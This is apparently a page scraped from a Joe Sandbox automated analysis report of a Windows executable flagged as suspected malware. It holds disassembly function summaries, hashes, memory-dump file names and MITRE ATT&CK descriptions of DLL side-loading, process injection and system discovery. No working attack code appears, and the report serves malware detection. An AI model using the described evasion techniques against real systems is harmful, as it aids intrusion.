Opcode Fuzzy Hash: e9b3149559c2d40a57a83e43926ce58d97e6f1de0d4bfa116cf2f14b24266693
Instruction Fuzzy Hash: 1BD09E56B4370549CD05FBB3A82A1AD23A42B8AFDC398053E5F0D3B392EC3CD5448284

Function 00401BCE Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401BD8
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00401BE3
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401BF2
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00401BFD

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ResumeUnwind_$St11char_traitsSt7__cxx1112basic_string
String ID:
API String ID: 220160136-0
Opcode ID: e9b3149559c2d40a57a83e43926ce58d97e6f1de0d4bfa116cf2f14b24266693
Instruction ID: c8e16673b97232db4654cbea5076d41e7e38cb924e39feb352d3beed00876386
Opcode Fuzzy Hash: e9b3149559c2d40a57a83e43926ce58d97e6f1de0d4bfa116cf2f14b24266693
Instruction Fuzzy Hash: 1BD09E56B4370549CD05FBB3A82A1AD23A42B8AFDC398053E5F0D3B392EC3CD5448284

Function 00402FF6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403079

Strings

Unknown error, xrefs: 004030F0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00403069

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: a51839e307072505a00c5d55b16004317ef6a3d1a64577fb01c4a55270b47cba
Instruction ID: 57d1df85a0b8549f3985a1da11461417515b174df66068d1689f246e68eac9d2
Opcode Fuzzy Hash: a51839e307072505a00c5d55b16004317ef6a3d1a64577fb01c4a55270b47cba
Instruction Fuzzy Hash: A511A362404EC4C6D6028F2CE8013EA77B4FF9A75AF599316EF8826224DB39C653C704

Function 004030C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403079

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00403069
The result is too small to be represented (UNDERFLOW), xrefs: 004030C0

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 51a74644e38ec491e289e27550721adf3f86510da3c3ad93acee66c138476f1b
Instruction ID: e31399d09ab0bdfa76ab8742077bf7f48ff796d7fa134e3eb8c62622878c9c70
Opcode Fuzzy Hash: 51a74644e38ec491e289e27550721adf3f86510da3c3ad93acee66c138476f1b
Instruction Fuzzy Hash: 8FF09662404F8481D2018F1DA8003ABB374FF9D78DF195316EF893A164DB38C6878704

Function 004030D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403079

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00403069
Total loss of significance (TLOSS), xrefs: 004030D0

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 73c4bed076526207a128cefb9bda3fb53d1a92e75b5cf80fc1265708f49ce701
Instruction ID: 3e091169e71c055a54604ea2739de0a74c70df228b7c919dd75f548906a5eddc
Opcode Fuzzy Hash: 73c4bed076526207a128cefb9bda3fb53d1a92e75b5cf80fc1265708f49ce701
Instruction Fuzzy Hash: CBF09662404F8481D2018F1CA8003ABB374FF9D78DF195316EF893A524DB38C6878704

Function 004030E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403079

Strings

Partial loss of significance (PLOSS), xrefs: 004030E0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00403069

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: b2dddce1545f8950a185e0ab6c117d1eeea30914cb65cd9dfb260b8b6284fdc5
Instruction ID: 0cad73757a5a8a89ac573cdce6e6dc8ad0266f34e4d2c14155431b74c75bfee8
Opcode Fuzzy Hash: b2dddce1545f8950a185e0ab6c117d1eeea30914cb65cd9dfb260b8b6284fdc5
Instruction Fuzzy Hash: 6CF09662404F8481D2018F1CA8003ABB374FF9D789F195316EF893A164DB38C6878704

Function 004030A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403079

Strings

Argument singularity (SIGN), xrefs: 004030A0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00403069

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: da48113dc0bbcb94f3b6e1b7217afdcbffedca79b8a79fb1f5c110cda70c58b5
Instruction ID: 13d6bcffc37961b637555842c56d6e67a38121fb5d0ae371c6065eed2d725e33
Opcode Fuzzy Hash: da48113dc0bbcb94f3b6e1b7217afdcbffedca79b8a79fb1f5c110cda70c58b5
Instruction Fuzzy Hash: 37F09662404F8481D2018F1CA8003ABB374FF9D789F195316EF893A164DB39C6878704

Function 004030B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403079

Strings

Overflow range error (OVERFLOW), xrefs: 004030B0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00403069

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: f058b52fdd197bd01f1d90730fb554966bbe5b64125dab9eed88e68729a7f811
Instruction ID: 3d4d1fb3a3fc5dd1cf5f872511e6ae481c8e8f286272131a6ba3a5fb818422a9
Opcode Fuzzy Hash: f058b52fdd197bd01f1d90730fb554966bbe5b64125dab9eed88e68729a7f811
Instruction Fuzzy Hash: 08F09662404F8481D2018F1CA8003ABB374FF9D799F195316EF893A164DB39C6878704

Function 00403031 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403079

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00403069
Argument domain error (DOMAIN), xrefs: 00403031

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 00d7563e19070cd6679ab3da39c3bbfec5afcd144cfe9570c86a722786d7681e
Instruction ID: ef1b01202381a6642a302fe92748a0ff4f78bb94f7f19da0b55dc82b749a9ecf
Opcode Fuzzy Hash: 00d7563e19070cd6679ab3da39c3bbfec5afcd144cfe9570c86a722786d7681e
Instruction Fuzzy Hash: E3F09662404F4481D2018F28A80039BB370FF9D789F195316EF893A124DB28C5838704

Function 00403B30 Relevance: 5.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00403B57
free.MSVCRT ref: 00403BA8
LeaveCriticalSection.KERNEL32 ref: 00403BB4

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: 728761756de2559bb8d008f70bfbd0b8a3d12316bfcf6bb841b21d8ad1132c44
Instruction ID: ec9a4a965caef75e1836ccf5a7f3c42b948a92411318e88af1dc7551757199da
Opcode Fuzzy Hash: 728761756de2559bb8d008f70bfbd0b8a3d12316bfcf6bb841b21d8ad1132c44
Instruction Fuzzy Hash: D101B1B2311A0186DF08EF51E89032A37B4F794B46F508436CB1DA3352DB7CEA41C308

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exePID: 7532, Parent PID: 2580

General

Chronological Activities

Analysis Process: conhost.exePID: 7540, Parent PID: 7532

General

Chronological Activities

Disassembly

Analysis Process: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exePID: 7532, Parent PID: 2580COMMON

Non-executed Functions

Function 00401C0A Relevance: 100.0, APIs: 45, Strings: 12, Instructions: 263COMMON

Function 00402402 Relevance: 42.2, APIs: 17, Strings: 7, Instructions: 168COMMON

Function 00401180 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 198sleepstringCOMMON

Function 00402DE0 Relevance: 12.0, APIs: 8, Instructions: 50COMMON

Windows Analysis Report
SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe